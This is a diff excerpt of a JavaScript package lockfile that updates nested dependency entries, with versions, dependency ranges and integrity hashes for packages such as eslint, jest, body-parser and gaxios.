"ajv-formats/ajv": ["ajv@8.17.1", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g=="],
@@ -5751,10 +5961,18 @@
"asn1.js/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
+ "autoprefixer/fraction.js": ["fraction.js@4.3.7", "", {}, "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew=="],
+
"babel-jest/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
"babel-plugin-root-import/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
+ "body-parser/iconv-lite": ["iconv-lite@0.7.2", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw=="],
+
+ "body-parser/qs": ["qs@6.15.0", "", { "dependencies": { "side-channel": "^1.1.0" } }, "sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ=="],
+
+ "body-parser/raw-body": ["raw-body@3.0.2", "", { "dependencies": { "bytes": "~3.1.2", "http-errors": "~2.0.1", "iconv-lite": "~0.7.0", "unpipe": "~1.0.0" } }, "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA=="],
+
"browser-resolve/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
"browserify-rsa/bn.js": ["bn.js@5.2.2", "", {}, "sha512-v2YAxEmKaBLahNwE1mjp4WON6huMNeuDvagFZW+ASCuA/ku0bXR9hSMw0XpiqMoA3+rmnyck/tPRSFQkoC9Cuw=="],
@@ -5769,6 +5987,8 @@
"chalk/supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="],
+ "cheerio/undici": ["undici@7.16.0", "", {}, "sha512-QEg3HPMll0o3t2ourKwOeUAZ159Kn9mx5pnzHRQO8+Wixmh88YdZRiIwat0iNzNNXn0yoEtXJqFpyW7eM8BV7g=="],
+
"chokidar/glob-parent": ["glob-parent@5.1.2", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="],
"cli-truncate/string-width": ["string-width@7.2.0", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="],
@@ -5783,32 +6003,66 @@
"cookie-parser/cookie-signature": ["cookie-signature@1.0.6", "", {}, "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ=="],
+ "core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+
"create-ecdh/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
+ "css-blank-pseudo/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+ "css-has-pseudo/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
"cssnano/lilconfig": ["lilconfig@2.1.0", "", {}, "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ=="],
"cssnano/yaml": ["yaml@1.10.2", "", {}, "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg=="],
+ "cytoscape-fcose/cose-base": ["cose-base@2.2.0", "", { "dependencies": { "layout-base": "^2.0.0" } }, "sha512-AzlgcsCbUMymkADOJtQm3wO9S3ltPfYOFD5033keQn9NJzIbtnZj+UdBJe7DYml/8TdbtHJW3j58SOnKhWY/5g=="],
+
+ "d3-dsv/commander": ["commander@7.2.0", "", {}, "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw=="],
+
+ "d3-sankey/d3-array": ["d3-array@2.12.1", "", { "dependencies": { "internmap": "^1.0.0" } }, "sha512-B0ErZK/66mHtEsR1TkPEEkwdy+WDesimkM5gpZr5Dsg54BiTA5RXtYW5qTLIAcekaS9xfZrzBLF/OAkB3Qn1YQ=="],
+
+ "d3-sankey/d3-shape": ["d3-shape@1.3.7", "", { "dependencies": { "d3-path": "1" } }, "sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw=="],
+
"data-urls/whatwg-url": ["whatwg-url@14.2.0", "", { "dependencies": { "tr46": "^5.1.0", "webidl-conversions": "^7.0.0" } }, "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw=="],
"diffie-hellman/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
- "domexception/webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="],
+ "dom-serializer/entities": ["entities@4.5.0", "", {}, "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw=="],
"error-ex/is-arrayish": ["is-arrayish@0.2.1", "", {}, "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg=="],
+ "eslint/@eslint/eslintrc": ["@eslint/eslintrc@3.3.1", "", { "dependencies": { "ajv": "^6.12.4", "debug": "^4.3.2", "espree": "^10.0.1", "globals": "^14.0.0", "ignore": "^5.2.0", "import-fresh": "^3.2.1", "js-yaml": "^4.1.0", "minimatch": "^3.1.2", "strip-json-comments": "^3.1.1" } }, "sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ=="],
+
+ "eslint/ajv": ["ajv@6.12.6", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g=="],
+
+ "eslint/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "eslint/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+
"eslint-import-resolver-node/debug": ["debug@3.2.7", "", { "dependencies": { "ms": "^2.1.1" } }, "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ=="],
"eslint-import-resolver-node/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
+ "eslint-import-resolver-typescript/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"eslint-module-utils/debug": ["debug@3.2.7", "", { "dependencies": { "ms": "^2.1.1" } }, "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ=="],
+ "eslint-plugin-i18next/lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="],
+
"eslint-plugin-import/debug": ["debug@3.2.7", "", { "dependencies": { "ms": "^2.1.1" } }, "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ=="],
+ "eslint-plugin-import/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+
+ "eslint-plugin-jsx-a11y/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+
+ "eslint-plugin-react/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+
"execa/is-stream": ["is-stream@3.0.0", "", {}, "sha512-LnQR4bZ9IADDRSkvpqMGvt/tEJWclzklNgSw48V5EAaAeDd6qGvN8ei6k5p0tvxSR171VmGyHuTiAOfxAbr8kA=="],
"expect/jest-message-util": ["jest-message-util@29.7.0", "", { "dependencies": { "@babel/code-frame": "^7.12.13", "@jest/types": "^29.6.3", "@types/stack-utils": "^2.0.0", "chalk": "^4.0.0", "graceful-fs": "^4.2.9", "micromatch": "^4.0.4", "pretty-format": "^29.7.0", "slash": "^3.0.0", "stack-utils": "^2.0.3" } }, "sha512-GBEV4GRADeP+qtB2+6u61stea8mGcOT4mCtrYISZwfu9/ISHFJ/5zOMXYbpBE9RsS5+Gb63DW4FgmnKJ79Kf6w=="],
+ "expect/jest-util": ["jest-util@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@types/node": "*", "chalk": "^4.0.0", "ci-info": "^3.2.0", "graceful-fs": "^4.2.9", "picomatch": "^2.2.3" } }, "sha512-z6EbKajIpqGKU56y5KBUgy1dt1ihhQJgWzUlZHArA/+X2ad7Cb5iF+AK1EWVL/Bo7Rz9uurpqw6SiBCefUbCGA=="],
+
"express-session/cookie-signature": ["cookie-signature@1.0.7", "", {}, "sha512-NXdYc3dLr47pBkpUCHtKSwIOQXLVn8dZEuywboCOJY/osA0wFSLlSawr3KN8qXJEyX66FcONTH8EIlVuK0yyFA=="],
"express-session/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="],
@@ -5819,25 +6073,25 @@
"filelist/minimatch": ["minimatch@5.1.6", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g=="],
+ "finalhandler/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"flat-cache/keyv": ["keyv@4.5.4", "", { "dependencies": { "json-buffer": "3.0.1" } }, "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw=="],
"form-data/mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="],
- "gaxios/https-proxy-agent": ["https-proxy-agent@5.0.1", "", { "dependencies": { "agent-base": "6", "debug": "4" } }, "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="],
+ "gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="],
- "glob/minimatch": ["minimatch@10.1.1", "", { "dependencies": { "@isaacs/brace-expansion": "^5.0.0" } }, "sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ=="],
+ "gcp-metadata/gaxios": ["gaxios@5.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^5.0.0", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-95hVgBRgEIRQQQHIbnxBXeHbW4TqFk4ZDJW7wmVtvYar72FdhRIo1UGOLS2eRAKCPEdPBWu+M7+A33D9CdX9rA=="],
- "google-auth-library/gaxios": ["gaxios@6.2.0", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-H6+bHeoEAU5D6XNc6mPKeN5dLZqEDs9Gpk6I+SZBEzK5So58JVrHPmevNi35fRl1J9Y5TaeLW0kYx3pCJ1U2mQ=="],
+ "glob/minimatch": ["minimatch@10.2.4", "", { "dependencies": { "brace-expansion": "^5.0.2" } }, "sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg=="],
"google-auth-library/gcp-metadata": ["gcp-metadata@6.1.1", "", { "dependencies": { "gaxios": "^6.1.1", "google-logging-utils": "^0.0.2", "json-bigint": "^1.0.0" } }, "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A=="],
- "googleapis-common/gaxios": ["gaxios@6.2.0", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-H6+bHeoEAU5D6XNc6mPKeN5dLZqEDs9Gpk6I+SZBEzK5So58JVrHPmevNi35fRl1J9Y5TaeLW0kYx3pCJ1U2mQ=="],
+ "happy-dom/@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="],
- "googleapis-common/qs": ["qs@6.13.0", "", { "dependencies": { "side-channel": "^1.0.6" } }, "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg=="],
+ "happy-dom/whatwg-mimetype": ["whatwg-mimetype@3.0.0", "", {}, "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q=="],
- "googleapis-common/uuid": ["uuid@9.0.1", "", { "bin": "dist/bin/uuid" }, "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA=="],
-
- "gtoken/gaxios": ["gaxios@6.2.0", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-H6+bHeoEAU5D6XNc6mPKeN5dLZqEDs9Gpk6I+SZBEzK5So58JVrHPmevNi35fRl1J9Y5TaeLW0kYx3pCJ1U2mQ=="],
+ "happy-dom/ws": ["ws@8.19.0", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg=="],
"hast-util-from-html/@types/hast": ["@types/hast@2.3.10", "", { "dependencies": { "@types/unist": "^2" } }, "sha512-McWspRw8xx8J9HurkVBfYj0xKoE25tOFlHGdx4MJ5xORQrMGZNqJhVQWaIbm6Oyla5kYOXtDiopzKRJzEOkwJw=="],
@@ -5871,10 +6125,16 @@
"http-proxy-agent/agent-base": ["agent-base@7.1.3", "", {}, "sha512-jRR5wdylq8CkOe6hei19GGZnxM6rBGwFl3Bg0YItGDimvjGtAvdZk4Pu6Cl4u4Igsws4a1fd1Vq3ezrhn4KmFw=="],
+ "http-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "https-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"import-from/resolve-from": ["resolve-from@5.0.0", "", {}, "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="],
"import-in-the-middle/cjs-module-lexer": ["cjs-module-lexer@1.2.3", "", {}, "sha512-0TNiGstbQmCFwt4akjjBg5pLRTSyj/PkWQ1ZoO2zntmg9yLqSRxwEa4iCfQLGjqhiqBfOJa7W/E8wfGrTDmlZQ=="],
+ "ioredis/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"is-bun-module/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
"istanbul-lib-instrument/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
@@ -5885,44 +6145,30 @@
"istanbul-lib-source-maps/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
+ "istanbul-lib-source-maps/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "jake/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+
"jest-changed-files/execa": ["execa@5.1.1", "", { "dependencies": { "cross-spawn": "^7.0.3", "get-stream": "^6.0.0", "human-signals": "^2.1.0", "is-stream": "^2.0.0", "merge-stream": "^2.0.0", "npm-run-path": "^4.0.1", "onetime": "^5.1.2", "signal-exit": "^3.0.3", "strip-final-newline": "^2.0.0" } }, "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg=="],
- "jest-changed-files/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-circus/jest-matcher-utils": ["jest-matcher-utils@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0", "chalk": "^4.1.2", "jest-diff": "30.2.0", "pretty-format": "30.2.0" } }, "sha512-dQ94Nq4dbzmUWkQ0ANAWS9tBRfqCrn0bV9AMYdOi/MHW726xn7eQmMeRTpX2ViC00bpNaWXq+7o4lIQ3AX13Hg=="],
- "jest-circus/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-circus/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
"jest-circus/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "jest-cli/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-config/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
- "jest-config/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-config/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
"jest-config/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
"jest-diff/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
- "jest-each/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-each/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
- "jest-environment-node/@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="],
-
